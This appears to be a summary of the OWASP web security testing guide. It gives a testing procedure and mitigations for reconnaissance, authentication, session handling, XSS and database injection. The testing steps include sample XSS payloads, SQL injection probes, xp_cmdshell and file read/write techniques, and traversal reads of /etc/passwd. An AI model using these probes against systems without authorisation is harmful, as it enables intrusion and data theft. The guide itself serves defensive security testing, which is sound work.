OWASP Testing Guide Summary by COFFSec

Leverage search engines to discover sensitive information about the target application, including network diagrams, configurations, credentials, error messages, and exposed files that may have been inadvertently indexed.

Identify what sensitive design and configuration information of the application, system, or organization is exposed directly (on the organization's website) or indirectly (via third-party services).

Use Google dorking (site:, filetype:, intitle:, inurl:, cache:), Bing, Shodan, Censys, and other search engines. Search for sensitive file types (.sql, .bak, .log, .env). Check GitHub/GitLab for leaked source code. Use tools: Google Hacking Database, Shodan, FOCA, theHarvester, Recon-ng.

Implement robots.txt and meta tags to prevent indexing of sensitive content. Regularly audit search engine results. Remove sensitive files from public-facing servers. Use .htaccess or server configs to restrict access. Monitor for data leaks with alerts.

Determine the type and version of the web server software running on the target to identify known vulnerabilities and appropriate exploits for that specific server version.

Find the version and type of a running web server to determine known vulnerabilities and the appropriate exploits. Identify the web server technology and version.

Send HTTP requests and analyze response headers (Server header). Use HTTP header field ordering analysis and malformed request testing. Tools: Httprint, Httprecon, Nmap, Netcraft, WhatWeb. Analyze default error pages and specific behavior patterns.

Remove or obfuscate server version information from HTTP headers. Customize default error pages. Use a reverse proxy or WAF to mask server identity. Keep the web server software up to date with security patches.

Analyze robots.txt, sitemap.xml, and other metafiles to discover hidden directories, admin pages, and sensitive resources that should not be publicly accessible.

Extract and analyze robots.txt, sitemap.xml, and META tags to identify information leakage of the web application's directory or folder paths and sensitive content.

Request /robots.txt, /sitemap.xml, /sitemap.xml.gz, /crossdomain.xml, /clientaccesspolicy.xml. Examine META tags in HTML source for robots directives. Look for disallowed paths that may reveal sensitive areas. Tools: Browser, curl, wget, Burp Suite.

Avoid listing sensitive directories in robots.txt (it reveals them). Use authentication/authorization instead of relying on robots.txt for security. Remove unnecessary metafiles. Ensure META tags don't expose sensitive paths.

Discover all applications hosted on the web server including those on non-standard ports, virtual hosts, and subdomains that might have different security postures.

Enumerate the applications within the scope that exist on a web server. Find applications hosted on the same webserver via virtual hosting, non-standard ports, or DNS zone transfers.

Perform DNS enumeration (zone transfers, brute-force subdomains). Scan non-standard ports with Nmap. Check for virtual hosts by manipulating Host headers. Use tools: dnsrecon, fierce, Sublist3r, Amass, Nmap, wfuzz for vhost fuzzing.

Restrict DNS zone transfers. Disable unnecessary applications and virtual hosts. Apply consistent security policies across all hosted applications. Monitor and maintain all applications on the server.

Examine HTML source code comments and metadata to find sensitive information such as developer notes, internal paths, credentials, SQL queries, or version numbers left in production code.

Review webpage comments, metadata, and source code for information leakage including internal IP addresses, email addresses, technology stack details, and developer comments.

View page source and inspect HTML comments (<!-- -->). Check JavaScript files for comments and hardcoded values. Analyze META tags, EXIF data in images. Use browser developer tools. Tools: Burp Suite, curl, wget, FOCA for metadata extraction.

Remove all developer comments and debugging information before deploying to production. Strip metadata from files. Implement code review processes to catch information leakage. Use build tools to minify and strip comments.

Map all entry points of the application including forms, APIs, hidden parameters, HTTP headers, and any input vectors that accept user-supplied data.

Understand how requests are formed and typical responses from the application. Identify all entry points including hidden fields, parameters, HTTP methods, and custom headers.

Use an intercepting proxy (Burp Suite, ZAP) to capture all requests. Identify forms, URL parameters, POST body parameters, HTTP headers, cookies, and hidden fields. Map all REST/SOAP/GraphQL endpoints. Analyze JavaScript for API calls.

Document all entry points and ensure each has appropriate input validation and sanitization. Implement a WAF for additional protection. Apply the principle of least privilege to all entry points.

Map the target application's workflows and execution paths to understand the principal functionalities, business logic flows, and data processing sequences.

Map the target application and understand the principal workflows including user registration, authentication, data processing, and business logic paths.

Use spidering/crawling tools to discover all pages and endpoints. Manually walk through application workflows. Create application flow diagrams. Use tools: Burp Spider, ZAP Spider, Screaming Frog. Document state transitions and decision points.

Ensure all execution paths have proper authorization checks. Implement access controls at every step of critical workflows. Log and monitor unusual execution patterns.

Identify the web application framework or CMS being used (e.g., WordPress, Django, Angular) to determine framework-specific vulnerabilities and attack vectors.

Fingerprint the web application framework to determine known vulnerabilities and exploitation techniques specific to that framework.

Analyze HTTP response headers (X-Powered-By, X-AspNet-Version). Check cookies for framework-specific names. Examine source code for framework signatures. Look at URL patterns and default file structures. Tools: WhatWeb, Wappalyzer, BuiltWith.

Remove framework-identifying HTTP headers. Customize default configurations and file structures. Change default cookie names. Keep frameworks updated. Hide version-specific identifiers.

Identify the specific web application and its version to discover known vulnerabilities and available exploits for that particular application version.

Identify the web application and version to determine known vulnerabilities and the appropriate exploits.

Check for application-specific files (readme, changelog, license). Compare MD5 hashes of static files against known versions. Analyze HTML comments and meta generators. Tools: WhatWeb, BlindElephant, Wappalyzer, CMSmap, WPScan.

Remove version-identifying files and headers. Customize default pages. Keep applications updated to latest secure versions. Use a WAF to block fingerprinting attempts.

Identify the entire application architecture including web servers, application servers, databases, load balancers, WAFs, reverse proxies, and CDNs to understand the full attack surface.

Understand the architecture of the application including all components: Web language/framework, WAF, reverse proxy, application server, backend database.

Analyze HTTP headers for proxy/server info. Test for load balancers (different responses to same request). Identify WAF (wafw00f). Map network topology with traceroute. Test for CDN usage. Tools: Nmap, wafw00f, lbd, halberd.

Minimize information exposure about architecture. Implement defense in depth at each architectural layer. Ensure all components are patched and hardened. Use network segmentation.

Assess the network and infrastructure configuration for known vulnerabilities, default settings, unnecessary services, and misconfigurations in servers, databases, and network devices.

Understand the infrastructure elements interactions and configuration management for software. Review known vulnerabilities in server infrastructure, backend databases, WebDAV, and FTP services.

Run vulnerability scanners against infrastructure (Nessus, OpenVAS). Check for unnecessary open ports and services. Test for default configurations. Review network segmentation. Verify firewall rules and ACLs. Check SSL/TLS configuration.

Harden all network devices and servers. Disable unnecessary services and ports. Apply security patches promptly. Implement proper network segmentation. Use configuration management tools for consistency.

Review the application platform configuration for default installations, improper error handling, excessive privileges, and logging deficiencies that could aid attackers.

Ensure default installations are handled properly and all components are configured securely. Verify error handling, minimal privilege, and logging configuration.

Check for default installation files and directories. Test error handling (trigger 400, 403, 404, 500 errors). Verify principle of least privilege. Review logging configuration. Tools: Browser, Nikto, manual testing.

Remove default installation files. Implement custom error pages that don't reveal sensitive information. Apply least privilege principle. Enable comprehensive logging. Disable directory listing.

Test how the web server handles different file extensions to find sensitive files that may be accessible, including configuration files, backup files, and source code.

Identify sensitive file extensions that may contain important information (.asa, .inc, .sql, .zip, .tar, .pdf, .txt, .bak, .config).

Use forced browsing to find files with sensitive extensions. Test for source code disclosure via alternate extensions (.bak, .old, .inc, .src). Use directory brute-forcing with extension lists. Tools: Nikto, DirBuster, Gobuster, ffuf.

Configure the web server to only serve necessary file types. Block access to sensitive file extensions. Remove unnecessary files from the web root. Implement proper MIME type handling.

Search for backup files, old versions, unreferenced files, and development artifacts that may contain sensitive information like source code, credentials, or database dumps.

Find unreferenced files including backup files (.bak, .old), cached files, compiled files, and temporary files that may contain sensitive information.

Check for common backup extensions (.bak, .old, .orig, .src, .inc, .zip, .tar.gz). Test filename guessing (file.php → file.php.bak). Check source code comments for references. Use tools: Nikto, DirBuster, Nessus, Gobuster with wordlists.

Remove all backup and unreferenced files from production servers. Implement strict file upload policies. Use deployment scripts that clean up old files. Regularly audit the web root for unnecessary files.

Discover administrative interfaces and management consoles that could provide privileged access to the application or its infrastructure components.

Enumerate administrative interfaces and management consoles (/admin, /administrator, /backoffice, /backend, etc.) and alternative server ports.

Directory brute-force for common admin paths. Check for admin interfaces on non-standard ports (e.g., Tomcat/8080, Jenkins/8443). Review source code for admin links. Test default admin credentials. Tools: Burp, dirb, DirBuster, fuzzdb.

Restrict access to admin interfaces by IP address. Implement strong authentication (MFA). Remove or rename default admin paths. Place admin interfaces on separate networks/ports with strict access controls.

Test which HTTP methods are enabled on the web server and check for dangerous methods like PUT, DELETE, TRACE, and CONNECT that could be exploited.

Identify HTTP allowed methods on the web server. Test for arbitrary HTTP methods, HEAD access control bypass, and Cross-Site Tracing (XST) via TRACE method.

Send OPTIONS request to identify allowed methods. Test each method (PUT, DELETE, TRACE, CONNECT, PATCH). Test for method override headers (X-HTTP-Method-Override). Tools: netcat, curl, Nmap http-methods script, Burp Suite.

Disable unnecessary HTTP methods (TRACE, PUT, DELETE if not needed). Configure the web server to only allow required methods. Implement method-based access controls.

Verify that the application implements HSTS headers correctly to force browsers to communicate only over HTTPS, preventing protocol downgrade attacks and cookie hijacking.

Verify that the Strict-Transport-Security header is set with appropriate values (max-age, includeSubDomains, preload) to prevent SSL stripping attacks.

Send HTTP request and check response headers for Strict-Transport-Security. Verify max-age is sufficiently long (≥31536000). Check for includeSubDomains and preload directives. Test HTTP to HTTPS redirect. Command: curl -s -D- https://domain.com/ | grep Strict.

Implement HSTS with Strict-Transport-Security: max-age=31536000; includeSubDomains; preload. Submit to HSTS preload list. Ensure all subdomains support HTTPS. Configure HTTP to HTTPS redirects.

Analyze the permissions allowed in cross-domain policy files (crossdomain.xml, clientaccesspolicy.xml) that control how Flash and Silverlight can interact with the application.

Analyze the permissions allowed from the policy files (crossdomain.xml/clientaccesspolicy.xml) and evaluate if overly permissive settings allow unauthorized cross-domain access.

Retrieve /crossdomain.xml and /clientaccesspolicy.xml. Check for overly permissive settings (allow-access-from domain='*'). Verify that only trusted domains are whitelisted. Test for CORS misconfigurations. Tools: Browser, Nikto, curl.

Restrict cross-domain policies to specific trusted domains only. Never use wildcard (*) in production. Regularly audit cross-domain policy files. Remove policy files if Flash/Silverlight is not used.

Review and test the application's role definitions to ensure proper segregation of duties, verify that role permissions are correctly implemented, and identify privilege escalation paths.

Validate the system roles defined within the application and verify proper segregation of duties. Ensure users cannot access unauthorized functions based on their role.

Map all roles and their permissions. Test accessing functions assigned to different roles. Verify role hierarchy and inheritance. Check for horizontal and vertical privilege escalation. Document the access control matrix.

Implement role-based access control (RBAC) with clear role definitions. Apply principle of least privilege. Regularly audit role assignments. Use access control matrices to verify permissions.

Evaluate the user registration process for security weaknesses including the ability to register with duplicate/fake identities, lack of email verification, and predictable user IDs.

Verify that the identity requirements for user registration are aligned with business and security requirements. Validate the registration process.

Test registration with duplicate emails/usernames. Check for email verification requirements. Test with disposable email addresses. Verify CAPTCHA implementation. Test for automated bulk registration. Check if user IDs are predictable.

Implement email verification for new registrations. Use CAPTCHA to prevent automated registrations. Validate input fields thoroughly. Generate non-predictable user IDs. Implement rate limiting on registration endpoints.

Evaluate how user accounts are provisioned, managed, and de-provisioned to ensure proper governance and prevent orphaned accounts or unauthorized access.

Verify which accounts may provision other accounts and the types of accounts that can be provisioned. Ensure proper account lifecycle management.

Review account provisioning workflow. Test if unprivileged users can create accounts. Verify de-provisioning process (account deactivation/deletion). Check for orphaned accounts. Test account approval workflows.

Implement formal account provisioning and de-provisioning processes. Require approval for account creation. Regularly audit and clean up unused accounts. Implement automated de-provisioning for departed employees.

Test whether the application reveals the existence of valid usernames through different responses to valid and invalid credentials, enabling attackers to enumerate valid accounts.

Determine whether it is possible to enumerate valid usernames by analyzing the application's responses to valid and invalid usernames. Determine guessable account names.

Test login form with valid/invalid usernames and observe response differences (error messages, response times, HTTP codes). Test password reset and registration for user enumeration. Check for username disclosure in URLs or cookies. Tools: Burp Intruder, Hydra.

Use generic error messages (e.g., 'Invalid credentials' instead of 'User not found'). Ensure consistent response times for valid and invalid usernames. Implement account lockout with generic messages. Use CAPTCHA after failed attempts.

Evaluate the username policy to determine if it allows weak, easily guessable, or potentially malicious usernames that could facilitate social engineering or other attacks.

Determine whether a consistent username policy exists and is enforced. Test if the application allows weak or easily guessable usernames.

Test registering with common usernames (admin, test, user). Test minimum/maximum length requirements. Test special characters in usernames. Check for username format requirements. Attempt XSS/injection via username field.

Enforce strong username policies with minimum length requirements. Block commonly used/reserved usernames. Sanitize username inputs to prevent injection. Implement clear username format guidelines.

Verify that authentication credentials (usernames and passwords) are always transmitted over an encrypted channel (HTTPS/TLS) to prevent interception via man-in-the-middle attacks.

Assess whether the application encrypts authentication credentials during transmission. Verify that login pages and all authentication-related traffic use HTTPS.

Check if login page is served over HTTPS. Verify form action URLs use HTTPS. Test for mixed content issues. Check if HTTP to HTTPS redirect occurs before credentials are sent. Use Wireshark or proxy tools to confirm encryption. Test for SSL stripping.

Enforce HTTPS for all authentication pages and data transmission. Implement HSTS. Redirect all HTTP traffic to HTTPS. Use secure cookie flags. Implement certificate pinning for mobile clients.

Test the application and its infrastructure components for default credentials that may have been left unchanged after deployment, providing easy unauthorized access.

Test whether the application has any user accounts with default credentials. Test for default vendor credentials on infrastructure components.

Try default credentials for the application (admin/admin, admin/password). Test infrastructure components (database, server, CMS) with vendor defaults. Check documentation for default accounts. Use tools: Hydra, Metasploit default credential modules, vendor default lists.

Force password change on first login. Remove or disable all default accounts. Document all accounts and require unique credentials. Implement a process to check for default credentials during deployment.

Evaluate the account lockout mechanism to determine if it effectively prevents brute-force attacks while avoiding denial-of-service by locking out legitimate users.

Evaluate the account lockout mechanism's ability to mitigate brute force password guessing. Evaluate the unlock mechanism's resistance to unauthorized account unlocking.

Attempt multiple failed logins and observe lockout behavior. Determine the lockout threshold and duration. Test if lockout can be bypassed (e.g., case changes, IP rotation). Check if lockout notification is sent. Test unlock mechanism (automatic vs manual).

Implement progressive lockout (increasing delays). Lock accounts after 3-5 failed attempts. Implement CAPTCHA after initial failures. Send lockout notifications to users. Use temporary lockouts with exponential backoff.

Test whether the authentication mechanism can be bypassed through direct page requests, parameter modification, session prediction, or SQL injection in authentication parameters.

Determine if it's possible to bypass the authentication mechanism by accessing protected pages directly, manipulating parameters, predicting sessions, or exploiting authentication flaws.

Try accessing protected pages directly without authentication. Modify authentication parameters/cookies. Test for forced browsing. Attempt SQL injection in login fields. Test for authentication bypass via HTTP method tampering. Check for backdoor parameters.

Implement server-side authentication checks on every protected resource. Use secure session management. Apply input validation on all authentication parameters. Implement multi-layered authentication for sensitive operations.

Evaluate the 'remember me' functionality to ensure it doesn't store credentials insecurely or create persistent sessions that could be exploited on shared computers.

Verify that the 'remember me' function is implemented securely and doesn't store credentials in clear text or easily reversible formats.

Enable 'remember me' and inspect stored cookies/tokens. Check if credentials are stored in clear text in cookies or local storage. Verify token expiration. Test if the token can be reused from a different browser/device. Check for secure and httpOnly flags.

Use cryptographically secure tokens instead of storing credentials. Set appropriate expiration times. Implement secure and httpOnly cookie flags. Allow users to invalidate all 'remember me' sessions. Bind tokens to specific devices.

Test whether the browser caches sensitive authentication data (credentials, tokens, personal information) that could be retrieved by local attackers or through back button attacks.

Verify that the application correctly instructs the browser not to cache sensitive data using appropriate cache-control headers.

Check Cache-Control and Pragma headers on authenticated pages. Use browser back button after logout. Inspect browser cache for sensitive data. Check for autocomplete on password fields. Verify no sensitive data in URL parameters (GET requests).

Set Cache-Control: no-store, no-cache, must-revalidate on sensitive pages. Add Pragma: no-cache header. Set autocomplete='off' on sensitive forms. Use POST for sensitive data transmission. Implement proper logout that clears cached data.

Evaluate the password policy to determine if it enforces sufficiently complex passwords to resist brute-force, dictionary, and pattern-based attacks.

Determine the password policy and verify it enforces minimum complexity requirements (length, character types, common password blocking).

Test minimum and maximum password length. Test character type requirements (uppercase, lowercase, numbers, special chars). Test with common passwords (password123, qwerty). Check if password history is enforced. Test if passwords from breach databases are blocked.

Enforce minimum 12-character passwords with complexity requirements. Block common passwords using breach databases (Have I Been Pwned). Implement password strength meters. Enforce password history to prevent reuse. Consider passphrase support.

Evaluate security questions used for account recovery to determine if they can be easily guessed, researched through social media, or brute-forced to gain unauthorized access.

Assess the strength and security of security questions/answers. Determine if answers can be easily guessed, brute-forced, or obtained through social engineering.

Review the set of security questions offered. Test if custom questions are allowed. Check if answers are case-sensitive. Test brute-force protection on security answers. Evaluate if questions have easily researchable answers. Check how answers are stored.

Avoid using security questions as a sole recovery mechanism. If used, allow custom questions. Implement rate limiting on answer attempts. Use multi-factor authentication instead. Hash security answers. Combine with email/SMS verification.

Test password change and reset mechanisms for vulnerabilities including predictable reset tokens, lack of old password verification, and account takeover through password reset flaws.

Determine the resistance of the password change and reset functionalities to attacks that aim to take over user accounts.

Test if old password is required for password change. Check reset token predictability and expiration. Test for account enumeration via password reset. Verify reset link is single-use. Test for race conditions. Check if password reset invalidates existing sessions.

Require current password for password changes. Use cryptographically random reset tokens with short expiration (15-30 min). Ensure tokens are single-use. Send reset confirmation emails. Invalidate all sessions on password reset. Implement rate limiting.

Identify if the application offers alternative authentication channels (mobile app, API, call center) with weaker security controls that could be exploited to bypass primary authentication.

Identify alternative authentication channels (mobile, API, support lines) and determine if they have weaker authentication mechanisms than the primary channel.

Identify all authentication channels (web, mobile app, API, phone support). Compare authentication strength across channels. Test if MFA can be bypassed via alternative channels. Check for different password policies across channels.

Ensure consistent authentication strength across all channels. Implement MFA on all authentication paths. Apply the same security policies regardless of channel. Regularly audit alternative authentication methods.

Test for path traversal vulnerabilities that allow attackers to access files and directories outside the intended directory by manipulating file path references in the application.

Identify if the application is vulnerable to directory traversal/file include attacks that allow reading arbitrary files from the server.

Test parameters that reference files with traversal sequences (../, ..\, %2e%2e%2f). Test for null byte injection (%00). Attempt to read sensitive files (/etc/passwd, web.config). Test various encoding techniques (URL encoding, double encoding, Unicode). Tools: Burp Suite, DotDotPwn.

Use a whitelist of allowed files. Implement proper input validation. Use chroot jails or containerization. Apply principle of least privilege to file system access. Never use user input directly in file paths.

Test whether authorization controls can be bypassed to access resources or functions that should be restricted, by manipulating parameters, cookies, or request paths.

Verify that authorization is properly implemented for each role and that it cannot be bypassed by manipulating requests or session data.

Access functions of different roles by modifying URL parameters. Test horizontal privilege escalation (access other users' data by changing IDs). Test vertical privilege escalation (access admin functions as regular user). Manipulate hidden fields and cookies. Test API endpoint authorization.

Implement server-side authorization checks on every request. Use RBAC with proper enforcement. Never rely on client-side authorization. Apply principle of least privilege. Use indirect object references.

Test if a user can elevate their privileges beyond their assigned role, either vertically (gaining admin access) or horizontally (accessing other users' data).

Verify that it's not possible for a user to modify their privilege/role inside the application to gain elevated access (vertical) or access other users' resources (horizontal).

Test modifying role parameters in requests/cookies. Attempt to access administrative functions with a regular user account. Test IDOR vulnerabilities by changing user IDs in requests. Check for role manipulation in JWT tokens. Test API endpoint authorization.

Implement robust server-side access control. Use signed/encrypted session tokens. Validate roles on every request server-side. Implement proper IDOR prevention. Regular security audits of authorization logic.

Test if the application exposes direct references to internal objects (files, database records, keys) that can be manipulated to access unauthorized data.

Identify points where object references may occur and assess the access control of each. Verify that all object references have appropriate access controls.

Identify parameters that reference internal objects (user IDs, file names, record numbers). Modify these parameters to reference other users' objects. Test sequential and predictable IDs. Check API responses for excess data. Tools: Burp Suite parameter manipulation, Autorize plugin.

Implement indirect object references (mapping). Use UUIDs instead of sequential IDs. Verify authorization for every object access server-side. Implement proper access control checks. Don't expose internal object structures.

Test the session management mechanism for weaknesses that could allow session hijacking, including predictable session tokens, improper session validation, and session fixation.

Assess the session management schema to understand how the session management mechanism is implemented and whether it can be bypassed to hijack sessions.

Analyze session token generation (length, randomness, predictability). Test for session token in URL. Check cookie attributes (Secure, HttpOnly, SameSite, Path, Domain). Test concurrent session handling. Attempt session prediction. Tools: Burp Sequencer.

Use framework's built-in session management. Generate long random session tokens (128+ bits of entropy). Set Secure, HttpOnly, and SameSite cookie attributes. Implement session timeout. Regenerate session ID on privilege changes.

Examine cookie attributes and settings to ensure session cookies are properly protected against theft, tampering, and unauthorized access.

Verify that cookies have proper security attributes set (Secure, HttpOnly, SameSite, Path, Domain, Expires) to prevent cookie theft and session hijacking.

Inspect cookie attributes using browser developer tools or proxy. Check for Secure flag (HTTPS only). Verify HttpOnly flag (no JavaScript access). Check SameSite attribute. Review Path and Domain scope. Analyze cookie expiration settings.

Set Secure flag on all session cookies. Set HttpOnly flag to prevent XSS-based cookie theft. Implement SameSite=Strict or SameSite=Lax. Set appropriate Path and Domain. Use reasonable expiration times.

Test if the application is vulnerable to session fixation attacks where an attacker can set a user's session ID before authentication, then hijack the authenticated session.

Analyze the session renewal mechanism and verify that the session token is renewed after authentication to prevent session fixation attacks.

Obtain a session token before authentication. Authenticate using the pre-authentication session. Check if the session token changes after login. Test by setting a known session ID via URL parameter or cookie injection. Verify session regeneration on privilege changes.

Regenerate session tokens after successful authentication. Invalidate previous session tokens on login. Don't accept session tokens from URL parameters. Implement proper session management framework features.

Test whether session tokens or sensitive session data are exposed in URLs, logs, error messages, or other locations where they could be intercepted or leaked.

Ensure that session tokens are not exposed in URLs, logs, cache, or error messages, and that proper encryption is used to protect session data in transit.

Check if session tokens appear in URL parameters (Referer header leakage). Review server logs for session token exposure. Check for session data in browser history. Test proxy caching of session tokens. Verify encryption of session data in transit.

Never pass session tokens in URL parameters. Use cookies with proper attributes for session management. Implement proper logging that excludes session tokens. Use HTTPS for all session-related traffic. Configure proper cache controls.

Test if the application is vulnerable to CSRF attacks where malicious websites can trick authenticated users into performing unintended actions on the target application.

Determine whether it is possible to initiate requests on behalf of a user that were not initiated by the user (Cross-Site Request Forgery).

Identify state-changing operations (password change, fund transfer, email change). Check for anti-CSRF tokens in forms. Test if tokens are validated server-side. Attempt to forge requests without tokens. Test token predictability. Check SameSite cookie attribute. Tools: Burp CSRF PoC generator.

Implement anti-CSRF tokens (synchronizer token pattern). Use SameSite cookie attribute. Verify Referer/Origin headers. Require re-authentication for sensitive operations. Use custom request headers for AJAX calls.

Test the logout mechanism to verify that sessions are properly invalidated server-side, tokens are destroyed, and users cannot reuse old session tokens after logout.

Assess the logout functionality and verify that sessions are properly terminated, cookies cleared, and tokens invalidated to prevent session reuse.

Logout and attempt to use the old session cookie. Check if the session is invalidated server-side. Verify cookies are cleared on logout. Test back button after logout. Check if logout is available on all pages. Test if all related tokens (OAuth, JWT) are invalidated.

Invalidate session tokens server-side on logout. Clear all session-related cookies. Implement proper cache control headers on sensitive pages. Provide logout buttons on all pages. Log logout events.

Verify that the application implements appropriate session timeouts for both idle and absolute sessions to minimize the window of opportunity for session-based attacks.

Validate that the application implements proper session idle timeout and absolute timeout to reduce the risk of session hijacking.

Determine idle session timeout by leaving session inactive. Test absolute session timeout. Verify timeout is enforced server-side. Check if sensitive pages have shorter timeouts. Test timeout consistency across the application. Check for timeout warnings.

Implement idle session timeout (15-30 minutes for sensitive apps). Set absolute session timeout (4-8 hours). Re-authenticate for sensitive operations. Provide timeout warnings to users. Implement sliding and absolute expiration.

Test for session variable overloading where the application uses the same session variable for different purposes, potentially allowing authentication bypass or privilege escalation.

Identify all session variables and test if any are shared or overloaded across different application functionalities, which could lead to session puzzling attacks.

Map all session variables used by the application. Identify variables used in multiple contexts. Test if setting a session variable in one context affects another context. Test if unauthenticated functionality sets session variables that affect authenticated areas.

Use unique session variable names for different purposes. Implement proper session management with clear variable scoping. Avoid reusing session variables across functionalities. Validate session state at each step.

Test for reflected XSS vulnerabilities where user-supplied input is immediately reflected in the application's response without proper sanitization, enabling script injection.

Identify variables that are reflected in responses and assess if they are vulnerable to XSS. Determine the input validation and output encoding applied.

Inject XSS payloads (<script>alert(1)</script>, <img onerror=alert(1) src=x>) in all input parameters. Test URL parameters, form fields, HTTP headers (Referer, User-Agent). Try encoding bypasses (HTML entities, URL encoding, Unicode). Tools: XSStrike, Burp Suite, ZAP.

Implement context-aware output encoding (HTML, JavaScript, URL, CSS). Use Content-Security-Policy headers. Apply input validation with whitelisting. Use framework's built-in XSS protection. Implement HttpOnly cookies.

Test for stored/persistent XSS where malicious input is permanently stored on the server and later displayed to other users, affecting all users who view the tainted content.

Identify stored input that is reflected on the client-side. Assess the input validation and output encoding applied to stored data.

Inject XSS payloads in stored fields (comments, profile fields, messages, file names). Test rich text editors and file upload names. Check all locations where stored data is displayed. Test with different browsers. Monitor for delayed execution. Tools: XSStrike, Burp Suite.

Sanitize and validate all input before storage. Apply output encoding when displaying stored data. Implement Content-Security-Policy. Use HTML sanitization libraries. Regular security scanning of stored content.

Test whether the application properly handles different HTTP methods and if security controls can be bypassed by using unexpected HTTP verbs or method override techniques.

Determine if authentication and access control mechanisms can be bypassed using HTTP verb/method tampering or override headers.

Send requests using different HTTP methods (GET, POST, PUT, DELETE, PATCH, HEAD, OPTIONS). Test HTTP method override headers (X-HTTP-Method-Override, X-HTTP-Method, X-Method-Override). Check if security filters only apply to specific methods. Test with arbitrary methods (JEFF, FOO).

Implement security controls that apply regardless of HTTP method. Configure the web server to reject unexpected methods. Validate the HTTP method in application code. Don't rely on method-specific security checks.

Test if the application is vulnerable to HTTP Parameter Pollution (HPP) where duplicate parameters can bypass security controls or alter application behavior.

Identify the backend and verify if it is vulnerable to HTTP Parameter Pollution by sending duplicate parameters with different values.

Submit duplicate parameters with different values (e.g., ?id=1&id=2). Test HPP in URL, POST body, and cookies. Observe which value the application uses. Test if HPP can bypass WAF rules. Try HPP in different contexts (server-side, client-side). Tools: Burp Suite.

Use the first occurrence of duplicate parameters only. Implement strict parameter validation. Configure WAF to detect HPP attacks. Use a consistent parameter handling policy across the application.

Test all input parameters for SQL injection vulnerabilities that could allow attackers to read, modify, or delete database contents, or execute administrative operations on the database.

Identify SQL injection points and assess the impact. Test for various types of SQL injection: Union-based, Boolean-based blind, Time-based blind, Error-based, and Out-of-band.

Test with single quotes, comments (-- , #, /**/), UNION SELECT, boolean conditions (AND 1=1, AND 1=2), time delays (WAITFOR DELAY, SLEEP). Test all input vectors: URL params, POST data, cookies, headers. Test different DB types (MySQL, MSSQL, Oracle, PostgreSQL, NoSQL). Tools: SQLMap, Burp Suite, Havij.

Use parameterized queries (prepared statements) exclusively. Implement stored procedures with parameterized calls. Apply input validation with whitelisting. Use ORM frameworks. Apply least privilege on database accounts. Implement WAF rules for SQL injection.

Test for SQL injection vulnerabilities specific to Oracle database including PL/SQL injection, Oracle-specific functions, and privilege escalation through database links.

Identify Oracle-specific SQL injection vectors and test for Oracle-specific exploitation techniques.

Test Oracle-specific syntax (||, DUAL table, ROWNUM). Use Oracle functions (UTL_HTTP, DBMS_LDAP). Test PL/SQL injection. Try privilege escalation via SYS.DBMS_ packages. Test database link exploitation. Use Oracle-specific time delays (DBMS_PIPE.RECEIVE_MESSAGE).

Use parameterized queries. Revoke unnecessary privileges from database accounts. Restrict access to dangerous PL/SQL packages. Apply Oracle-specific hardening guides. Use Oracle Database Vault for additional protection.

Test for MySQL-specific SQL injection including UNION-based attacks, blind injection using MySQL functions, and file read/write operations through the database.

Identify MySQL-specific SQL injection vectors and test for MySQL-specific exploitation techniques including data exfiltration and file system access.

Test MySQL-specific syntax (CONCAT(), GROUP_CONCAT(), INFORMATION_SCHEMA). Try file operations (LOAD_FILE(), INTO OUTFILE). Test for stacked queries. Use MySQL-specific blind techniques (BENCHMARK(), SLEEP()). Test User Defined Functions. Tools: SQLMap with --dbms=mysql.

Use parameterized queries. Disable FILE privilege for application database users. Remove unnecessary MySQL functions and features. Apply MySQL-specific hardening. Restrict INFORMATION_SCHEMA access.

Test for Microsoft SQL Server-specific injection including xp_cmdshell execution, linked server exploitation, and Windows authentication abuse.

Identify MSSQL-specific SQL injection vectors and test for exploitation techniques including command execution and privilege escalation.

Test MSSQL-specific syntax (+ for concatenation, TOP, INFORMATION_SCHEMA). Try xp_cmdshell for OS command execution. Test sp_makewebtask, xp_sendmail. Try stacked queries (;). Test OPENROWSET and linked servers. Use WAITFOR DELAY for blind injection. Tools: SQLMap with --dbms=mssql.

Use parameterized queries. Disable xp_cmdshell and other dangerous stored procedures. Apply least privilege. Disable stacked queries if possible. Remove linked server configurations not needed. Apply MSSQL hardening guides.

Test for PostgreSQL-specific SQL injection including COPY command exploitation, large object manipulation, and PostgreSQL extension abuse.

Identify PostgreSQL-specific SQL injection vectors and test for exploitation techniques unique to PostgreSQL databases.

Test PostgreSQL-specific syntax (||, LIMIT/OFFSET, ::type casting). Try COPY command for file read/write. Test large object functions (lo_import, lo_export). Try PL/pgSQL injection. Use pg_sleep() for blind injection. Test for privilege escalation via extensions.

Use parameterized queries. Restrict COPY and large object functions. Apply least privilege to database roles. Disable unnecessary PostgreSQL extensions. Apply PostgreSQL-specific hardening.

Test for Microsoft Access-specific SQL injection vulnerabilities including system table enumeration and Access-specific syntax exploitation.

Identify MS Access-specific SQL injection vectors and test for exploitation techniques unique to Access databases.

Test Access-specific syntax (no comment characters, TOP instead of LIMIT). Enumerate system tables (MSysObjects). Test string concatenation with &. Use IIF() for blind injection. Note: no stacked queries, no subselects in some versions.

Use parameterized queries. Migrate from MS Access to a more robust database system. Implement input validation. Apply access controls at the application level.

Test for injection vulnerabilities in NoSQL databases (MongoDB, CouchDB, Redis) that can allow unauthorized data access or manipulation through operator injection.

Identify NoSQL injection points and assess the impact on NoSQL databases like MongoDB, CouchDB, and Redis.

Test MongoDB operator injection ($gt, $ne, $regex, $where). Test JSON injection in REST APIs. Try JavaScript injection in $where clauses. Test array-based injection (param[$ne]=). Test Redis injection (CRLF injection). Tools: NoSQLMap, Burp Suite.

Use parameterized queries specific to the NoSQL database. Sanitize user inputs against NoSQL operators. Avoid using $where with user input. Implement input validation. Use Object-Document Mappers (ODM) securely.

Test for LDAP injection vulnerabilities where user input is incorporated into LDAP queries without proper sanitization, allowing unauthorized directory access.

Identify LDAP injection points and assess the ability to modify LDAP queries to extract or modify directory information.

Test with LDAP special characters (*, (, ), \, NUL). Inject LDAP filter modifications ()(|(&). Test authentication bypass with wildcards (*). Test for data extraction through LDAP filter manipulation. Tools: Burp Suite, manual testing.

Sanitize all inputs used in LDAP queries. Escape LDAP special characters. Use parameterized LDAP queries where possible. Implement input validation. Apply least privilege to LDAP service accounts.

Test for injection vulnerabilities in Object Relational Mapping (ORM) frameworks where improper use of ORM query methods can lead to SQL injection-like attacks.

Identify if the application is vulnerable to ORM injection by testing parameters that interact with ORM query builders.

Identify ORM framework in use (Hibernate, SQLAlchemy, Entity Framework, etc.). Test HQL/JPQL injection for Hibernate. Test ORM-specific query syntax injection. Test for unsafe use of raw queries within ORM. Test parameter manipulation in ORM filter methods.

